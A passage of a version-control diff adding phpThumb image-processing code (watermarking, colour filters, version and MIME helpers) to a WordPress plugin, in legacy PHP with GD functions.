+	function ImageTrueColorToPalette2(&$image, $dither, $ncolors) {
+		// http://www.php.net/manual/en/function.imagetruecolortopalette.php
+		// zmorris at zsculpt dot com (17-Aug-2004 06:58)
+		$width  = ImageSX($image);
+		$height = ImageSY($image);
+		$image_copy = ImageCreateTrueColor($width, $height);
+		//ImageCopyMerge($image_copy, $image, 0, 0, 0, 0, $width, $height, 100);
+		ImageCopy($image_copy, $image, 0, 0, 0, 0, $width, $height);
+		ImageTrueColorToPalette($image, $dither, $ncolors);
+		ImageColorMatch($image_copy, $image);
+		ImageDestroy($image_copy);
+		return true;
+	}
+
+	function ReduceColorDepth(&$gdimg, $colors=256, $dither=true) {
+		$colors = max(min($colors, 256), 2);
+		// ImageTrueColorToPalette usually makes ugly colors, the replacement is a bit better
+		//ImageTrueColorToPalette($gdimg, $dither, $colors);
+		phpthumb_filters::ImageTrueColorToPalette2($gdimg, $dither, $colors);
+		return true;
+	}
+
+
+	function WhiteBalance(&$gdimg, $targetColor='') {
+		if (phpthumb_functions::IsHexColor($targetColor)) {
+			$targetPixel = array(
+				'red'   => hexdec(substr($targetColor, 0, 2)),
+				'green' => hexdec(substr($targetColor, 2, 2)),
+				'blue'  => hexdec(substr($targetColor, 4, 2))
+			);
+		} else {
+			$Analysis = phpthumb_filters::HistogramAnalysis($gdimg, false);
+			$targetPixel = array(
+				'red'   => max(array_keys($Analysis['red'])),
+				'green' => max(array_keys($Analysis['green'])),
+				'blue'  => max(array_keys($Analysis['blue']))
+			);
+		}
+		$grayValue = phpthumb_functions::GrayscaleValue($targetPixel['red'], $targetPixel['green'], $targetPixel['blue']);
+		$scaleR = $grayValue / $targetPixel['red'];
+		$scaleG = $grayValue / $targetPixel['green'];
+		$scaleB = $grayValue / $targetPixel['blue'];
+
+		for ($x = 0; $x < ImageSX($gdimg); $x++) {
+			for ($y = 0; $y < ImageSY($gdimg); $y++) {
+				$currentPixel = phpthumb_functions::GetPixelColor($gdimg, $x, $y);
+				$newColor = phpthumb_functions::ImageColorAllocateAlphaSafe(
+					$gdimg,
+					max(0, min(255, round($currentPixel['red']   * $scaleR))),
+					max(0, min(255, round($currentPixel['green'] * $scaleG))),
+					max(0, min(255, round($currentPixel['blue']  * $scaleB))),
+					$currentPixel['alpha']
+				);
+				ImageSetPixel($gdimg, $x, $y, $newColor);
+			}
+		}
+		return true;
+	}
+
+
+	function WatermarkText(&$gdimg, $text, $size, $alignment, $hex_color='000000', $ttffont='', $opacity=100, $margin=5, $angle=0, $bg_color=false, $bg_opacity=0, $fillextend='') {
+		// text watermark requested
+		if (!$text) {
+			return false;
+		}
+		ImageAlphaBlending($gdimg, true);
+
+		if (eregi('^([0-9\\.\\-]*)x([0-9\\.\\-]*)(@[LCR])?$', $alignment, $matches)) {
+			$originOffsetX = intval($matches[1]);
+			$originOffsetY = intval($matches[2]);
+			$alignment = (@$matches[4] ? $matches[4] : 'L');
+			$margin = 0;
+		} else {
+			$originOffsetX = 0;
+			$originOffsetY = 0;
+		}
+
+		$metaTextArray = array(
+			'^Fb' =>       $this->phpThumbObject->getimagesizeinfo['filesize'],
+			'^Fk' => round($this->phpThumbObject->getimagesizeinfo['filesize'] / 1024),
+			'^Fm' => round($this->phpThumbObject->getimagesizeinfo['filesize'] / 1048576),
+			'^X'  => $this->phpThumbObject->getimagesizeinfo[0],
+			'^Y'  => $this->phpThumbObject->getimagesizeinfo[1],
+			'^x'  => ImageSX($gdimg),
+			'^y'  => ImageSY($gdimg),
+			'^^'  => '^',
+		);
+		$text = strtr($text, $metaTextArray);
+
+		$text = str_replace("\r\n", "\n", $text);
+		$text = str_replace("\r",   "\n", $text);
+		$textlines = explode("\n", $text);
+		$this->DebugMessage('Processing '.count($textlines).' lines of text', __FILE__, __LINE__);
+
+		if (@is_readable($ttffont) && is_file($ttffont)) {
+
+			$opacity = 100 - intval(max(min($opacity, 100), 0));
+			$letter_color_text = phpthumb_functions::ImageHexColorAllocate($gdimg, $hex_color, false, $opacity * 1.27);
+
+			$this->DebugMessage('Using TTF font "'.$ttffont.'"', __FILE__, __LINE__);
+
+			$TTFbox = ImageTTFbBox($size, $angle, $ttffont, $text);
+
+			$min_x = min($TTFbox[0], $TTFbox[2], $TTFbox[4], $TTFbox[6]);
+			$max_x = max($TTFbox[0], $TTFbox[2], $TTFbox[4], $TTFbox[6]);
+			//$text_width = round($max_x - $min_x + ($size * 0.5));
+			$text_width = round($max_x - $min_x);
+
+			$min_y = min($TTFbox[1], $TTFbox[3], $TTFbox[5], $TTFbox[7]);
+			$max_y = max($TTFbox[1], $TTFbox[3], $TTFbox[5], $TTFbox[7]);
+			//$text_height = round($max_y - $min_y + ($size * 0.5));
+			$text_height = round($max_y - $min_y);
+
+			$TTFboxChar = ImageTTFbBox($size, $angle, $ttffont, 'jH');
+			$char_min_y = min($TTFboxChar[1], $TTFboxChar[3], $TTFboxChar[5], $TTFboxChar[7]);
+			$char_max_y = max($TTFboxChar[1], $TTFboxChar[3], $TTFboxChar[5], $TTFboxChar[7]);
+			$char_height = round($char_max_y - $char_min_y);
+
+			if ($alignment == '*') {
+
+				$text_origin_y = $char_height + $margin;
+				while (($text_origin_y - $text_height) < ImageSY($gdimg)) {
+					$text_origin_x = $margin;
+					while ($text_origin_x < ImageSX($gdimg)) {
+						ImageTTFtext($gdimg, $size, $angle, $text_origin_x, $text_origin_y, $letter_color_text, $ttffont, $text);
+						$text_origin_x += ($text_width + $margin);
+					}
+					$text_origin_y += ($text_height + $margin);
+				}
+
+			} else {
+
+				// this block for background color only
+
+				switch ($alignment) {
+					case '*':
+						// handled separately
+						break;
+
+					case 'T':
+						$text_origin_x = ($originOffsetX ? $originOffsetX - round($text_width / 2) : round((ImageSX($gdimg) - $text_width) / 2));
+						$text_origin_y = $char_height + $margin + $originOffsetY;
+						break;
+
+					case 'B':
+						$text_origin_x = ($originOffsetX ? $originOffsetX - round($text_width / 2) : round((ImageSX($gdimg) - $text_width) / 2));
+						$text_origin_y = ImageSY($gdimg) + $TTFbox[1] - $margin + $originOffsetY;
+						break;
+
+					case 'L':
+						$text_origin_x = $margin + $originOffsetX;
+						$text_origin_y = ($originOffsetY ? $originOffsetY : round((ImageSY($gdimg) - $text_height) / 2) + $char_height);
+						break;
+
+					case 'R':
+						$text_origin_x = ($originOffsetX ? $originOffsetX - $text_width : ImageSX($gdimg) - $text_width  + $TTFbox[0] - $min_x + round($size * 0.25) - $margin);
+						$text_origin_y = ($originOffsetY ? $originOffsetY : round((ImageSY($gdimg) - $text_height) / 2) + $char_height);
+						break;
+
+					case 'C':
+						$text_origin_x = ($originOffsetX ? $originOffsetX - round($text_width / 2) : round((ImageSX($gdimg) - $text_width) / 2));
+						$text_origin_y = ($originOffsetY ? $originOffsetY : round((ImageSY($gdimg) - $text_height) / 2) + $char_height);
+						break;
+
+					case 'TL':
+						$text_origin_x = $margin + $originOffsetX;
+						$text_origin_y = $char_height + $margin + $originOffsetY;
+						break;
+
+					case 'TR':
+						$text_origin_x = ($originOffsetX ? $originOffsetX - $text_width : ImageSX($gdimg) - $text_width  + $TTFbox[0] - $min_x + round($size * 0.25) - $margin);
+						$text_origin_y = $char_height + $margin + $originOffsetY;
+						break;
+
+					case 'BL':
+						$text_origin_x = $margin + $originOffsetX;
+						$text_origin_y = ImageSY($gdimg) + $TTFbox[1] - $margin + $originOffsetY;
+						break;
+
+					case 'BR':
+					default:
+						$text_origin_x = ($originOffsetX ? $originOffsetX - $text_width : ImageSX($gdimg) - $text_width  + $TTFbox[0] - $min_x + round($size * 0.25) - $margin);
+						$text_origin_y = ImageSY($gdimg) + $TTFbox[1] - $margin + $originOffsetY;
+						break;
+				}
+
+				//ImageRectangle($gdimg, $text_origin_x + $min_x, $text_origin_y + $TTFbox[1], $text_origin_x + $min_x + $text_width, $text_origin_y + $TTFbox[1] - $text_height, $letter_color_text);
+				if (phpthumb_functions::IsHexColor($bg_color)) {
+					$text_background_alpha = round(127 * ((100 - min(max(0, $bg_opacity), 100)) / 100));
+					$text_color_background = phpthumb_functions::ImageHexColorAllocate($gdimg, $bg_color, false, $text_background_alpha);
+				} else {
+					$text_color_background = phpthumb_functions::ImageHexColorAllocate($gdimg, 'FFFFFF', false, 127);
+				}
+				$x1 = $text_origin_x + $min_x;
+				$y1 = $text_origin_y + $TTFbox[1];
+				$x2 = $text_origin_x + $min_x + $text_width;
+				$y2 = $text_origin_y + $TTFbox[1] - $text_height;
+				$x_TL = eregi('x', $fillextend) ?               0 : min($x1, $x2);
+				$y_TL = eregi('y', $fillextend) ?               0 : min($y1, $y2);
+				$x_BR = eregi('x', $fillextend) ? ImageSX($gdimg) : max($x1, $x2);
+				$y_BR = eregi('y', $fillextend) ? ImageSY($gdimg) : max($y1, $y2);
+				//while ($y_BR > ImageSY($gdimg)) {
+				//	$y_TL--;
+				//	$y_BR--;
+				//	$text_origin_y--;
+				//}
+				$this->DebugMessage('WatermarkText() calling ImageFilledRectangle($gdimg, '.$x_TL.', '.$y_TL.', '.$x_BR.', '.$y_BR.', $text_color_background)', __FILE__, __LINE__);
+				ImageFilledRectangle($gdimg, $x_TL, $y_TL, $x_BR, $y_BR, $text_color_background);
+
+				// end block for background color only
+
+
+				$y_offset = 0;
+				foreach ($textlines as $dummy => $line) {
+
+					$TTFboxLine = ImageTTFbBox($size, $angle, $ttffont, $line);
+					$min_x_line = min($TTFboxLine[0], $TTFboxLine[2], $TTFboxLine[4], $TTFboxLine[6]);
+					$max_x_line = max($TTFboxLine[0], $TTFboxLine[2], $TTFboxLine[4], $TTFboxLine[6]);
+					//$text_width = round($max_x - $min_x + ($size * 0.5));
+					$text_width_line = round($max_x_line - $min_x_line);
+
+					$min_y_line = min($TTFboxLine[1], $TTFboxLine[3], $TTFboxLine[5], $TTFboxLine[7]);
+					$max_y_line = max($TTFboxLine[1], $TTFboxLine[3], $TTFboxLine[5], $TTFboxLine[7]);
+					//$text_height = round($max_y - $min_y + ($size * 0.5));
+					$text_height_line = round($max_y_line - $min_y_line);
+
+					switch ($alignment) {
+						// $text_origin_y set above, just re-set $text_origin_x here as needed
+
+						case 'L':
+						case 'TL':
+						case 'BL':
+							// no change neccesary
+							break;
+
+						case 'C':
+						case 'T':
+						case 'B':
+							$text_origin_x = ($originOffsetX ? $originOffsetX - round($text_width_line / 2) : round((ImageSX($gdimg) - $text_width_line) / 2));
+							break;
+
+						case 'R':
+						case 'TR':
+						case 'BR':
+							$text_origin_x = ($originOffsetX ? $originOffsetX - $text_width_line : ImageSX($gdimg) - $text_width_line  + $TTFbox[0] - $min_x + round($size * 0.25) - $margin);
+							break;
+					}
+
+					//ImageTTFtext($gdimg, $size, $angle, $text_origin_x, $text_origin_y, $letter_color_text, $ttffont, $text);
+					$this->DebugMessage('WatermarkText() calling ImageTTFtext($gdimg, '.$size.', '.$angle.', '.$text_origin_x.', '.($text_origin_y + $y_offset).', $letter_color_text, '.$ttffont.', '.$line.')', __FILE__, __LINE__);
+					ImageTTFtext($gdimg, $size, $angle, $text_origin_x, $text_origin_y + $y_offset, $letter_color_text, $ttffont, $line);
+
+					$y_offset += $char_height;
+				}
+
+			}
+			return true;
+
+		} else {
+
+			$size = min(5, max(1, $size));
+			$this->DebugMessage('Using built-in font (size='.$size.') for text watermark'.($ttffont ? ' because $ttffont !is_readable('.$ttffont.')' : ''), __FILE__, __LINE__);
+
+			$text_width  = 0;
+			$text_height = 0;
+			foreach ($textlines as $dummy => $line) {
+				$text_width   = max($text_width, ImageFontWidth($size) * strlen($line));
+				$text_height += ImageFontHeight($size);
+			}
+			if ($img_watermark = phpthumb_functions::ImageCreateFunction($text_width, $text_height)) {
+				ImageAlphaBlending($img_watermark, false);
+				if (phpthumb_functions::IsHexColor($bg_color)) {
+					$text_background_alpha = round(127 * ((100 - min(max(0, $bg_opacity), 100)) / 100));
+					$text_color_background = phpthumb_functions::ImageHexColorAllocate($img_watermark, $bg_color, false, $text_background_alpha);
+				} else {
+					$text_color_background = phpthumb_functions::ImageHexColorAllocate($img_watermark, 'FFFFFF', false, 127);
+				}
+				$this->DebugMessage('WatermarkText() calling ImageFilledRectangle($img_watermark, 0, 0, '.ImageSX($img_watermark).', '.ImageSY($img_watermark).', $text_color_background)', __FILE__, __LINE__);
+				ImageFilledRectangle($img_watermark, 0, 0, ImageSX($img_watermark), ImageSY($img_watermark), $text_color_background);
+
+				if ($angle && function_exists('ImageRotate')) {
+					// using $img_watermark_mask is pointless if ImageRotate function isn't available
+					if ($img_watermark_mask = phpthumb_functions::ImageCreateFunction($text_width, $text_height)) {
+						$mask_color_background = ImageColorAllocate($img_watermark_mask, 0, 0, 0);
+						ImageAlphaBlending($img_watermark_mask, false);
+						ImageFilledRectangle($img_watermark_mask, 0, 0, ImageSX($img_watermark_mask), ImageSY($img_watermark_mask), $mask_color_background);
+						$mask_color_watermark = ImageColorAllocate($img_watermark_mask, 255, 255, 255);
+					}
+				}
+
+				$text_color_watermark = phpthumb_functions::ImageHexColorAllocate($img_watermark, $hex_color);
+				foreach ($textlines as $key => $line) {
+					switch ($alignment) {
+						case 'C':
+							$x_offset = round(($text_width - (ImageFontWidth($size) * strlen($line))) / 2);
+							$originOffsetX = (ImageSX($gdimg) - ImageSX($img_watermark)) / 2;
+							$originOffsetY = (ImageSY($gdimg) - ImageSY($img_watermark)) / 2;
+							break;
+
+						case 'T':
+							$x_offset = round(($text_width - (ImageFontWidth($size) * strlen($line))) / 2);
+							$originOffsetX = (ImageSX($gdimg) - ImageSX($img_watermark)) / 2;
+							$originOffsetY = $margin;
+							break;
+
+						case 'B':
+							$x_offset = round(($text_width - (ImageFontWidth($size) * strlen($line))) / 2);
+							$originOffsetX = (ImageSX($gdimg) - ImageSX($img_watermark)) / 2;
+							$originOffsetY = ImageSY($gdimg) - ImageSY($img_watermark) - $margin;
+							break;
+
+						case 'L':
+							$x_offset = 0;
+							$originOffsetX = $margin;
+							$originOffsetY = (ImageSY($gdimg) - ImageSY($img_watermark)) / 2;
+							break;
+
+						case 'TL':
+							$x_offset = 0;
+							$originOffsetX = $margin;
+							$originOffsetY = $margin;
+							break;
+
+						case 'BL':
+							$x_offset = 0;
+							$originOffsetX = $margin;
+							$originOffsetY = ImageSY($gdimg) - ImageSY($img_watermark) - $margin;
+							break;
+
+						case 'R':
+							$x_offset = $text_width - (ImageFontWidth($size) * strlen($line));
+							$originOffsetX = ImageSX($gdimg) - ImageSX($img_watermark) - $margin;
+							$originOffsetY = (ImageSY($gdimg) - ImageSY($img_watermark)) / 2;
+							break;
+
+						case 'TR':
+							$x_offset = $text_width - (ImageFontWidth($size) * strlen($line));
+							$originOffsetX = ImageSX($gdimg) - ImageSX($img_watermark) - $margin;
+							$originOffsetY = $margin;
+							break;
+
+						case 'BR':
+						default:
+							$x_offset = $text_width - (ImageFontWidth($size) * strlen($line));
+							$originOffsetX = ImageSX($gdimg) - ImageSX($img_watermark) - $margin;
+							$originOffsetY = ImageSY($gdimg) - ImageSY($img_watermark) - $margin;
+							break;
+					}
+					$this->DebugMessage('WatermarkText() calling ImageString($img_watermark, '.$size.', '.$x_offset.', '.($key * ImageFontHeight($size)).', '.$line.', $text_color_watermark)', __FILE__, __LINE__);
+					ImageString($img_watermark, $size, $x_offset, $key * ImageFontHeight($size), $line, $text_color_watermark);
+					if ($angle && $img_watermark_mask) {
+						$this->DebugMessage('WatermarkText() calling ImageString($img_watermark_mask, '.$size.', '.$x_offset.', '.($key * ImageFontHeight($size)).', '.$text.', $mask_color_watermark)', __FILE__, __LINE__);
+						ImageString($img_watermark_mask, $size, $x_offset, $key * ImageFontHeight($size), $text, $mask_color_watermark);
+					}
+				}
+				if ($angle && $img_watermark_mask) {
+					$img_watermark      = ImageRotate($img_watermark,      $angle, $text_color_background);
+					$img_watermark_mask = ImageRotate($img_watermark_mask, $angle, $mask_color_background);
+					phpthumb_filters::ApplyMask($img_watermark_mask, $img_watermark);
+				}
+				//phpthumb_filters::WatermarkOverlay($gdimg, $img_watermark, $alignment, $opacity, $margin);
+				$this->DebugMessage('WatermarkText() calling phpthumb_filters::WatermarkOverlay($gdimg, $img_watermark, '.($originOffsetX.'x'.$originOffsetY).', '.$opacity.', 0)', __FILE__, __LINE__);
+				phpthumb_filters::WatermarkOverlay($gdimg, $img_watermark, $originOffsetX.'x'.$originOffsetY, $opacity, 0);
+				ImageDestroy($img_watermark);
+				return true;
+			}
+
+		}
+		return false;
+	}
+
+
+	function WatermarkOverlay(&$gdimg_dest, &$img_watermark, $alignment='*', $opacity=50, $margin_x=5, $margin_y=null) {
+
+		if (is_resource($gdimg_dest) && is_resource($img_watermark)) {
+			$watermark_source_x        = 0;
+			$watermark_source_y        = 0;
+			$img_source_width          = ImageSX($gdimg_dest);
+			$img_source_height         = ImageSY($gdimg_dest);
+			$watermark_source_width    = ImageSX($img_watermark);
+			$watermark_source_height   = ImageSY($img_watermark);
+			$watermark_opacity_percent = max(0, min(100, $opacity));
+			$margin_y = (is_null($margin_y) ? $margin_x : $margin_y);
+			$watermark_margin_x = ((($margin_x > 0) && ($margin_x < 1)) ? round((1 - $margin_x) * $img_source_width)  : $margin_x);
+			$watermark_margin_y = ((($margin_y > 0) && ($margin_y < 1)) ? round((1 - $margin_y) * $img_source_height) : $margin_y);
+			if (eregi('^([0-9\\.\\-]*)x([0-9\\.\\-]*)$', $alignment, $matches)) {
+				$watermark_destination_x = intval($matches[1]);
+				$watermark_destination_y = intval($matches[2]);
+			} else {
+				switch ($alignment) {
+					case '*':
+						if ($gdimg_tiledwatermark = phpthumb_functions::ImageCreateFunction($img_source_width, $img_source_height)) {
+
+							ImageAlphaBlending($gdimg_tiledwatermark, false);
+							ImageSaveAlpha($gdimg_tiledwatermark, true);
+							$text_color_transparent = phpthumb_functions::ImageColorAllocateAlphaSafe($gdimg_tiledwatermark, 255, 0, 255, 127);
+							ImageFill($gdimg_tiledwatermark, 0, 0, $text_color_transparent);
+
+							// set the tiled image transparent color to whatever the untiled image transparency index is
+	//						ImageColorTransparent($gdimg_tiledwatermark, ImageColorTransparent($img_watermark));
+
+							// a "cleaner" way of doing it, but can't handle the margin feature :(
+	//						ImageSetTile($gdimg_tiledwatermark, $img_watermark);
+	//						ImageFill($gdimg_tiledwatermark, 0, 0, IMG_COLOR_TILED);
+	//						break;
+
+	//						ImageFill($gdimg_tiledwatermark, 0, 0, ImageColorTransparent($gdimg_tiledwatermark));
+							// tile the image as many times as can fit
+							for ($x = $watermark_margin_x; $x < ($img_source_width + $watermark_source_width); $x += ($watermark_source_width + $watermark_margin_x)) {
+								for ($y = $watermark_margin_y; $y < ($img_source_height + $watermark_source_height); $y += ($watermark_source_height + $watermark_margin_y)) {
+									ImageCopy(
+										$gdimg_tiledwatermark,
+										$img_watermark,
+										$x,
+										$y,
+										0,
+										0,
+										min($watermark_source_width,  $img_source_width  - $x - $watermark_margin_x),
+										min($watermark_source_height, $img_source_height - $y - $watermark_margin_y)
+									);
+								}
+							}
+
+							$watermark_source_width  = ImageSX($gdimg_tiledwatermark);
+							$watermark_source_height = ImageSY($gdimg_tiledwatermark);
+							$watermark_destination_x = 0;
+							$watermark_destination_y = 0;
+
+							ImageDestroy($img_watermark);
+							$img_watermark = $gdimg_tiledwatermark;
+						}
+						break;
+
+					case 'T':
+						$watermark_destination_x = round((($img_source_width  / 2) - ($watermark_source_width / 2)) + $watermark_margin_x);
+						$watermark_destination_y = $watermark_margin_y;
+						break;
+
+					case 'B':
+						$watermark_destination_x = round((($img_source_width  / 2) - ($watermark_source_width / 2)) + $watermark_margin_x);
+						$watermark_destination_y = $img_source_height - $watermark_source_height - $watermark_margin_y;
+						break;
+
+					case 'L':
+						$watermark_destination_x = $watermark_margin_x;
+						$watermark_destination_y = round((($img_source_height / 2) - ($watermark_source_height / 2)) + $watermark_margin_y);
+						break;
+
+					case 'R':
+						$watermark_destination_x = $img_source_width - $watermark_source_width - $watermark_margin_x;
+						$watermark_destination_y = round((($img_source_height / 2) - ($watermark_source_height / 2)) + $watermark_margin_y);
+						break;
+
+					case 'C':
+						$watermark_destination_x = round(($img_source_width  / 2) - ($watermark_source_width  / 2));
+						$watermark_destination_y = round(($img_source_height / 2) - ($watermark_source_height / 2));
+						break;
+
+					case 'TL':
+						$watermark_destination_x = $watermark_margin_x;
+						$watermark_destination_y = $watermark_margin_y;
+						break;
+
+					case 'TR':
+						$watermark_destination_x = $img_source_width - $watermark_source_width - $watermark_margin_x;
+						$watermark_destination_y = $watermark_margin_y;
+						break;
+
+					case 'BL':
+	//echo '<pre>';
+	////var_dump($watermark_destination_x);
+	////var_dump($watermark_destination_y);
+	//var_dump($watermark_margin_x);
+	//var_dump($img_source_height);
+	//var_dump($watermark_source_height);
+	//var_dump($watermark_margin_y);
+						$watermark_destination_x = $watermark_margin_x;
+						$watermark_destination_y = $img_source_height - $watermark_source_height - $watermark_margin_y;
+						break;
+
+					case 'BR':
+					default:
+						$watermark_destination_x = $img_source_width  - $watermark_source_width  - $watermark_margin_x;
+						$watermark_destination_y = $img_source_height - $watermark_source_height - $watermark_margin_y;
+						break;
+				}
+			}
+			ImageAlphaBlending($gdimg_dest, false);
+			ImageSaveAlpha($gdimg_dest, true);
+			ImageSaveAlpha($img_watermark, true);
+			phpthumb_functions::ImageCopyRespectAlpha($gdimg_dest, $img_watermark, $watermark_destination_x, $watermark_destination_y, 0, 0, $watermark_source_width, $watermark_source_height, $watermark_opacity_percent);
+
+			return true;
+		}
+		return false;
+	}
+
+
+	function DebugMessage($message, $file='', $line='') {
+		if (is_object($this->phpThumbObject)) {
+			return $this->phpThumbObject->DebugMessage($message, $file, $line);
+		}
+		return false;
+	}
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/phpthumb/phpthumb.functions.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/phpthumb/phpthumb.functions.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/phpthumb/phpthumb.functions.php	(revision 44)
@@ -0,0 +1,1044 @@
+<?php
+//////////////////////////////////////////////////////////////
+///  phpThumb() by James Heinrich <info@silisoftware.com>   //
+//        available at http://phpthumb.sourceforge.net     ///
+//////////////////////////////////////////////////////////////
+///                                                         //
+// phpthumb.functions.php - general support functions       //
+//                                                         ///
+//////////////////////////////////////////////////////////////
+
+class phpthumb_functions {
+
+	function user_function_exists($functionname) {
+		if (function_exists('get_defined_functions')) {
+			static $get_defined_functions = array();
+			if (empty($get_defined_functions)) {
+				$get_defined_functions = get_defined_functions();
+			}
+			return in_array(strtolower($functionname), $get_defined_functions['user']);
+		}
+		return function_exists($functionname);
+	}
+
+
+	function builtin_function_exists($functionname) {
+		if (function_exists('get_defined_functions')) {
+			static $get_defined_functions = array();
+			if (empty($get_defined_functions)) {
+				$get_defined_functions = get_defined_functions();
+			}
+			return in_array(strtolower($functionname), $get_defined_functions['internal']);
+		}
+		return function_exists($functionname);
+	}
+
+
+	function version_compare_replacement_sub($version1, $version2, $operator='') {
+		// If you specify the third optional operator argument, you can test for a particular relationship.
+		// The possible operators are: <, lt, <=, le, >, gt, >=, ge, ==, =, eq, !=, <>, ne respectively.
+		// Using this argument, the function will return 1 if the relationship is the one specified by the operator, 0 otherwise.
+
+		// If a part contains special version strings these are handled in the following order: dev < (alpha = a) < (beta = b) < RC < pl
+		static $versiontype_lookup = array();
+		if (empty($versiontype_lookup)) {
+			$versiontype_lookup['dev']   = 10001;
+			$versiontype_lookup['a']     = 10002;
+			$versiontype_lookup['alpha'] = 10002;
+			$versiontype_lookup['b']     = 10003;
+			$versiontype_lookup['beta']  = 10003;
+			$versiontype_lookup['RC']    = 10004;
+			$versiontype_lookup['pl']    = 10005;
+		}
+		if (isset($versiontype_lookup[$version1])) {
+			$version1 = $versiontype_lookup[$version1];
+		}
+		if (isset($versiontype_lookup[$version2])) {
+			$version2 = $versiontype_lookup[$version2];
+		}
+
+		switch ($operator) {
+			case '<':
+			case 'lt':
+				return intval($version1 < $version2);
+				break;
+			case '<=':
+			case 'le':
+				return intval($version1 <= $version2);
+				break;
+			case '>':
+			case 'gt':
+				return intval($version1 > $version2);
+				break;
+			case '>=':
+			case 'ge':
+				return intval($version1 >= $version2);
+				break;
+			case '==':
+			case '=':
+			case 'eq':
+				return intval($version1 == $version2);
+				break;
+			case '!=':
+			case '<>':
+			case 'ne':
+				return intval($version1 != $version2);
+				break;
+		}
+		if ($version1 == $version2) {
+			return 0;
+		} elseif ($version1 < $version2) {
+			return -1;
+		}
+		return 1;
+	}
+
+
+	function version_compare_replacement($version1, $version2, $operator='') {
+		if (function_exists('version_compare')) {
+			// built into PHP v4.1.0+
+			return version_compare($version1, $version2, $operator);
+		}
+
+		// The function first replaces _, - and + with a dot . in the version strings
+		$version1 = strtr($version1, '_-+', '...');
+		$version2 = strtr($version2, '_-+', '...');
+
+		// and also inserts dots . before and after any non number so that for example '4.3.2RC1' becomes '4.3.2.RC.1'.
+		// Then it splits the results like if you were using explode('.',$ver). Then it compares the parts starting from left to right.
+		$version1 = eregi_replace('([0-9]+)([A-Z]+)([0-9]+)', '\\1.\\2.\\3', $version1);
+		$version2 = eregi_replace('([0-9]+)([A-Z]+)([0-9]+)', '\\1.\\2.\\3', $version2);
+
+		$parts1 = explode('.', $version1);
+		$parts2 = explode('.', $version1);
+		$parts_count = max(count($parts1), count($parts2));
+		for ($i = 0; $i < $parts_count; $i++) {
+			$comparison = phpthumb_functions::version_compare_replacement_sub($version1, $version2, $operator);
+			if ($comparison != 0) {
+				return $comparison;
+			}
+		}
+		return 0;
+	}
+
+
+	function phpinfo_array() {
+		static $phpinfo_array = array();
+		if (empty($phpinfo_array)) {
+			ob_start();
+			phpinfo();
+			$phpinfo = ob_get_contents();
+			ob_end_clean();
+			$phpinfo_array = explode("\n", $phpinfo);
+		}
+		return $phpinfo_array;
+	}
+
+
+	function exif_info() {
+		static $exif_info = array();
+		if (empty($exif_info)) {
+			// based on code by johnschaefer at gmx dot de
+			// from PHP help on gd_info()
+			$exif_info = array(
+				'EXIF Support'           => '',
+				'EXIF Version'           => '',
+				'Supported EXIF Version' => '',
+				'Supported filetypes'    => ''
+			);
+			$phpinfo_array = phpthumb_functions::phpinfo_array();
+			foreach ($phpinfo_array as $line) {
+				$line = trim(strip_tags($line));
+				foreach ($exif_info as $key => $value) {
+					if (strpos($line, $key) === 0) {
+						$newvalue = trim(str_replace($key, '', $line));
+						$exif_info[$key] = $newvalue;
+					}
+				}
+			}
+		}
+		return $exif_info;
+	}
+
+
+	function ImageTypeToMIMEtype($imagetype) {
+		if (function_exists('image_type_to_mime_type') && ($imagetype >= 1) && ($imagetype <= 16)) {
+			// PHP v4.3.0+
+			return image_type_to_mime_type($imagetype);
+		}
+		static $image_type_to_mime_type = array(
+			1  => 'image/gif',                     // IMAGETYPE_GIF
+			2  => 'image/jpeg',                    // IMAGETYPE_JPEG
+			3  => 'image/png',                     // IMAGETYPE_PNG
+			4  => 'application/x-shockwave-flash', // IMAGETYPE_SWF
+			5  => 'image/psd',                     // IMAGETYPE_PSD
+			6  => 'image/bmp',                     // IMAGETYPE_BMP
+			7  => 'image/tiff',                    // IMAGETYPE_TIFF_II (intel byte order)
+			8  => 'image/tiff',                    // IMAGETYPE_TIFF_MM (motorola byte order)
+			9  => 'application/octet-stream',      // IMAGETYPE_JPC
+			10 => 'image/jp2',                     // IMAGETYPE_JP2
+			11 => 'application/octet-stream',      // IMAGETYPE_JPX
+			12 => 'application/octet-stream',      // IMAGETYPE_JB2
+			13 => 'application/x-shockwave-flash', // IMAGETYPE_SWC
+			14 => 'image/iff',                     // IMAGETYPE_IFF
+			15 => 'image/vnd.wap.wbmp',            // IMAGETYPE_WBMP
+			16 => 'image/xbm',                     // IMAGETYPE_XBM
+
+			'gif'  => 'image/gif',                 // IMAGETYPE_GIF
+			'jpg'  => 'image/jpeg',                // IMAGETYPE_JPEG
+			'jpeg' => 'image/jpeg',                // IMAGETYPE_JPEG
+			'png'  => 'image/png',                 // IMAGETYPE_PNG
+			'bmp'  => 'image/bmp',                 // IMAGETYPE_BMP
+			'ico'  => 'image/x-icon',
+		);
+
+		return (isset($image_type_to_mime_type[$imagetype]) ? $image_type_to_mime_type[$imagetype] : false);
+	}
+
+
+	function TranslateWHbyAngle($width, $height, $angle) {
+		if (($angle % 180) == 0) {
+			return array($width, $height);
+		}
+		$newwidth  = (abs(sin(deg2rad($angle))) * $height) + (abs(cos(deg2rad($angle))) * $width);
+		$newheight = (abs(sin(deg2rad($angle))) * $width)  + (abs(cos(deg2rad($angle))) * $height);
+		return array($newwidth, $newheight);
+	}
+
+	function HexCharDisplay($string) {
+		$len = strlen($string);
+		$output = '';
+		for ($i = 0; $i < $len; $i++) {
+			$output .= ' 0x'.str_pad(dechex(ord($string{$i})), 2, '0', STR_PAD_LEFT);
+		}
+		return $output;
+	}
+
+
+	function IsHexColor($HexColorString) {
+		return eregi('^[0-9A-F]{6}$', $HexColorString);
+	}
+
+
+	function ImageColorAllocateAlphaSafe(&$gdimg_hexcolorallocate, $R, $G, $B, $alpha=false) {
+		if (phpthumb_functions::version_compare_replacement(phpversion(), '4.3.2', '>=') && ($alpha !== false)) {
+			return ImageColorAllocateAlpha($gdimg_hexcolorallocate, $R, $G, $B, intval($alpha));
+		} else {
+			return ImageColorAllocate($gdimg_hexcolorallocate, $R, $G, $B);
+		}
+	}
+
+	function ImageHexColorAllocate(&$gdimg_hexcolorallocate, $HexColorString, $dieOnInvalid=false, $alpha=false) {
+		if (!is_resource($gdimg_hexcolorallocate)) {
+			die('$gdimg_hexcolorallocate is not a GD resource in ImageHexColorAllocate()');
+		}
